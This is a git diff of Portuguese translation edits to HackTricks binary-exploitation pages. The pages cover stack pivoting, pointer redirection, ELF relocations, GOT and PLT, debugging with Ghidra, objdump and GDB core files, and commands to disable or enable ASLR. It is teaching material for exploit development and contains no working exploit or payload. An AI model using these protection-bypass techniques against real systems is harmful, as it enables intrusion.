* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e não sabendo a libc**: Você precisa:
|
||||||
* Burlar [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
* Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/).
|
||||||
* Encontrar a **versão da libc** usada (vazar alguns endereços de função)
|
* Encontrar a **versão da `libc`** usada (leak de alguns endereços de função).
|
||||||
* Verificar os **cenários anteriores com ASLR** para continuar.
|
* Verificar os **cenários anteriores com ASLR** para continuar.
|
||||||
|
|
||||||
#### Via EBP/RBP
|
#### Via EBP/RBP
|
||||||
|
|
||||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar o ESP para controlar o RET através do EBP armazenado na pilha.
|
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar RET através do EBP armazenado na pilha.
|
||||||
* Útil para **estouros de pilha off-by-one**
|
* Útil para **off-by-one** stack overflows.
|
||||||
* Útil como uma maneira alternativa de controlar o EIP enquanto abusa do EIP para construir a carga na memória e então pular para ela via EBP
|
* Útil como uma maneira alternativa de acabar controlando EIP enquanto abusa de EIP para construir o payload na memória e então pulando para ele via EBP.
|
||||||
|
|
||||||
#### Misc
|
#### Diversos
|
||||||
|
|
||||||
* [**Redirecionamento de Ponteiros**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
|
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
|
||||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços.
|
||||||
* [**Variáveis não inicializadas**](../stack-overflow/uninitialized-variables.md): Você nunca sabe
|
* [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -327,17 +327,17 @@ Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o
|
||||||
|
|
||||||
### Relocações Dinâmicas e GOT
|
### Relocações Dinâmicas e GOT
|
||||||
|
|
||||||
A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicado na tabela de relocação) onde o endereço de malloc deve ser especificado.
|
A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicada na tabela de relocação) onde o endereço de malloc deve ser especificado.
|
||||||
|
|
||||||
### Tabela de Ligação de Procedimentos
|
### Tabela de Ligação de Procedimentos
|
||||||
|
|
||||||
A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada.
|
A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada.
|
||||||
|
|
||||||
Assim, quando um programa chama malloc, ele na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamado, resolve o endereço de `malloc` e o armazena, então na próxima vez que `malloc` for chamado, esse endereço é usado em vez do código PLT.
|
Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` na PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena para que na próxima vez que `malloc` for chamada, esse endereço seja usado em vez do código PLT.
|
||||||
|
|
||||||
## Inicialização do Programa
|
## Inicialização do Programa
|
||||||
|
|
||||||
Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++ se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em:
|
Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em:
|
||||||
```cpp
|
```cpp
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
// g++ autoinit.cpp -o autoinit
|
// g++ autoinit.cpp -o autoinit
|
||||||
|
@ -390,7 +390,7 @@ Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF.
|
||||||
|
|
||||||
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread.
|
Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread.
|
||||||
|
|
||||||
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais da thread de um módulo.
|
O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais de thread de um módulo.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -167,7 +167,7 @@ gef➤ bt
|
||||||
### Encontrar deslocamento da pilha
|
### Encontrar deslocamento da pilha
|
||||||
|
|
||||||
**Ghidra** é muito útil para encontrar o **deslocamento** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\
|
**Ghidra** é muito útil para encontrar o **deslocamento** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\
|
||||||
Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um cookie canário, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\
|
Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\
|
||||||
&#xNAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
|
&#xNAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1061).png>)
|
![](<../../../.gitbook/assets/image (1061).png>)
|
||||||
|
@ -191,7 +191,7 @@ Get every opcode executed in the program.
|
||||||
|
|
||||||
## Objdump
|
## Objdump
|
||||||
|
|
||||||
**-d** --> **Desmontar seções** executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
|
**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
|
||||||
&#xNAN;**-Mintel** --> **Sintaxe** Intel\
|
&#xNAN;**-Mintel** --> **Sintaxe** Intel\
|
||||||
&#xNAN;**-t** --> Tabela de **Símbolos**\
|
&#xNAN;**-t** --> Tabela de **Símbolos**\
|
||||||
&#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\
|
&#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\
|
||||||
|
@ -208,7 +208,7 @@ Get every opcode executed in the program.
|
||||||
2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||||
3. sudo gdb --core=\<path/core> --quiet
|
3. sudo gdb --core=\<path/core> --quiet
|
||||||
|
|
||||||
## More
|
## Mais
|
||||||
|
|
||||||
**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
|
**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
|
||||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop para ver se o endereço muda muito\
|
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop para ver se o endereço muda muito\
|
||||||
|
@ -231,7 +231,7 @@ Dentro da pasta IDA, você pode encontrar binários que podem ser usados para de
|
||||||
```
|
```
|
||||||
./linux_server64 -Ppass
|
./linux_server64 -Ppass
|
||||||
```
|
```
|
||||||
Então, configure o depurador: Debugger (linux remote) --> Proccess options...:
|
Então, configure o depurador: Debugger (linux remote) --> Opções de processo...:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (858).png>)
|
![](<../../../.gitbook/assets/image (858).png>)
|
||||||
|
|
||||||
|
@ -245,7 +245,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -168,7 +168,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,55 +1,55 @@
|
||||||
# Proteções Comuns e Formas de Bypass na Exploração Binária
|
# Proteções e Bypasses Comuns de Exploração Binária
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo no Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo no telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Habilitar Arquivos Core
|
## Habilitar arquivos de Core
|
||||||
|
|
||||||
**Arquivos Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem da memória do processo falho no momento de sua terminação, incluindo a memória do processo, registradores e estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha.
|
**Arquivos de Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem de memória do processo que falhou no momento de sua terminação, incluindo a memória do processo, registradores e o estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha.
|
||||||
|
|
||||||
### **Habilitar a Geração de Despejos de Core**
|
### **Habilitando a Geração de Core Dumps**
|
||||||
|
|
||||||
Por padrão, muitos sistemas limitam o tamanho dos arquivos core para 0 (ou seja, não geram arquivos core) para economizar espaço em disco. Para habilitar a geração de arquivos core, você pode usar o comando **`ulimit`** (no bash ou shells similares) ou configurar as configurações em todo o sistema.
|
Por padrão, muitos sistemas limitam o tamanho dos arquivos de core a 0 (ou seja, não geram arquivos de core) para economizar espaço em disco. Para habilitar a geração de arquivos de core, você pode usar o comando **`ulimit`** (no bash ou shells semelhantes) ou configurar as definições do sistema.
|
||||||
|
|
||||||
* **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão do shell atual crie arquivos core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões.
|
* **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão de shell atual crie arquivos de core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões.
|
||||||
```bash
|
```bash
|
||||||
ulimit -c unlimited
|
ulimit -c unlimited
|
||||||
```
|
```
|
||||||
* **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite a todos os usuários gerar arquivos core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões.
|
* **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite que todos os usuários gerem arquivos de core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões.
|
||||||
```markdown
|
```markdown
|
||||||
* soft core unlimited
|
* soft core unlimited
|
||||||
```
|
```
|
||||||
### **Analisando Arquivos Core com GDB**
|
### **Analisando Arquivos de Core com GDB**
|
||||||
|
|
||||||
Para analisar um arquivo core, você pode usar ferramentas de debug como o GDB (GNU Debugger). Supondo que você tenha um executável que gerou um despejo core e o arquivo core seja chamado `core_file`, você pode iniciar a análise com:
|
Para analisar um arquivo de core, você pode usar ferramentas de depuração como o GDB (GNU Debugger). Supondo que você tenha um executável que produziu um core dump e o arquivo de core é nomeado `core_file`, você pode iniciar a análise com:
|
||||||
```bash
|
```bash
|
||||||
gdb /path/to/executable /path/to/core_file
|
gdb /path/to/executable /path/to/core_file
|
||||||
```
|
```
|
||||||
Este comando carrega o executável e o arquivo core no GDB, permitindo que você inspecione o estado do programa no momento do crash. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa do crash.
|
Este comando carrega o executável e o arquivo de core no GDB, permitindo que você inspecione o estado do programa no momento da falha. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa da falha.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,54 +1,54 @@
|
||||||
# ASLR
|
# ASLR
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
**Randomização do Layout do Espaço de Endereços (ASLR)** é uma técnica de segurança usada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.
|
**Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows.
|
||||||
|
|
||||||
### **Verificando o Status do ASLR**
|
### **Checking ASLR Status**
|
||||||
|
|
||||||
Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:
|
Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado:
|
||||||
|
|
||||||
* **0**: Sem randomização. Tudo é estático.
|
* **0**: Sem randomização. Tudo é estático.
|
||||||
* **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
|
* **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
|
||||||
* **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de `brk()` é randomizada.
|
* **2**: Randomização total. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada.
|
||||||
|
|
||||||
Você pode verificar o status do ASLR com o seguinte comando:
|
Você pode verificar o status do ASLR com o seguinte comando:
|
||||||
```bash
|
```bash
|
||||||
cat /proc/sys/kernel/randomize_va_space
|
cat /proc/sys/kernel/randomize_va_space
|
||||||
```
|
```
|
||||||
### **Desativando ASLR**
|
### **Desabilitando ASLR**
|
||||||
|
|
||||||
Para **desativar** o ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:
|
Para **desabilitar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` para **0**. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo:
|
||||||
```bash
|
```bash
|
||||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||||
```
|
```
|
||||||
Você também pode desativar o ASLR para uma execução com:
|
Você também pode desativar ASLR para uma execução com:
|
||||||
```bash
|
```bash
|
||||||
setarch `arch` -R ./bin args
|
setarch `arch` -R ./bin args
|
||||||
setarch `uname -m` -R ./bin args
|
setarch `uname -m` -R ./bin args
|
||||||
```
|
```
|
||||||
### **Ativando ASLR**
|
### **Habilitando ASLR**
|
||||||
|
|
||||||
Para **ativar** o ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:
|
Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando:
|
||||||
```bash
|
```bash
|
||||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||||
```
|
```
|
||||||
### **Persistência através de reinicializações**
|
### **Persistência Entre Reinicializações**
|
||||||
|
|
||||||
As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
|
As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
|
||||||
```tsconfig
|
